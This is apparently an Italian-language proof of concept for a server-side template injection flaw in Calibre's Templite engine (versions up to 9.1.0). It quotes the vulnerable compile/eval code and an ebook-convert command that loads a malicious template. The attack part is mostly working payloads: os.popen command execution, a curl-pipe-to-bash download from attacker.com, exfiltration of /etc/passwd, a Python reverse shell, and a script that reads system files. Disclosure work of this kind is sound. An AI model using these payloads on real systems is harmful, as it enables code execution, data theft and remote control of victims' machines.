
Proof of Concept per una vulnerabilità di Server-Side Template Injection (SSTI) nel motore Templite di Calibre (GHSA-xrh9-w7qx-3gcc). Dimostra l'esecuzione arbitraria di codice Python tramite modelli di esportazione HTML forniti dall'utente nelle versioni interessate (≤ 9.1.0).
Gravità: Alta (CVSS 7.8)
Software interessato: calibre <= 9.1.0
Corretto in: 9.2.0
Avviso: GHSA-xrh9-w7qx-3gcc
Una vulnerabilità di Server-Side Template Injection (SSTI) nel motore di templating Templite di Calibre consente l'esecuzione arbitraria di codice quando un utente converte un ebook utilizzando un file di template personalizzato dannoso tramite le opzioni da riga di comando --template-html o --template-html-index.
Il motore Templite (src/templite/__init__.py) compila e valuta i template utilizzando le funzioni compile() ed eval() di Python senza alcun sandboxing:
Codice vulnerabile in src/templite/__init__.py:
# Riga 72: Il template viene compilato in codice Python
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# Riga 90: Il codice compilato viene eseguito tramite eval()
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # Esecuzione arbitraria di codice
Vettore di attacco in src/calibre/ebooks/conversion/plugins/html_output.py:
# Righe 96-98: Il file di template fornito dall'utente viene caricato
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# Riga 136: Il template viene passato al motore Templite vulnerabile
templite = Templite(template_html_index_data)
Lo stesso schema esiste per l'opzione --template-html (righe 102-106, 200).
Salvare quanto segue come malicious_template.tmpl:
<!DOCTYPE html>
<html>
<head><title>Template Dannoso</title></head>
<body>
<h1>Libro convertito!</h1>
<!-- Il payload SSTI esegue comandi arbitrari -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# Convertire qualsiasi ebook utilizzando il template dannoso
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# Output: uid=501(username) gid=20(staff) groups=...
# Esecuzione di comandi
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# Esfiltrazione di file
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# Esecuzione di comandi
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("Utente:", t.render()) # Stampa il nome utente corrente
# Lettura di file
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render()) # Stampa la prima riga di /etc/passwd
Chi è interessato:
Scenario di attacco:
ebook-convert book.epub out.zip --template-html=template.tmpl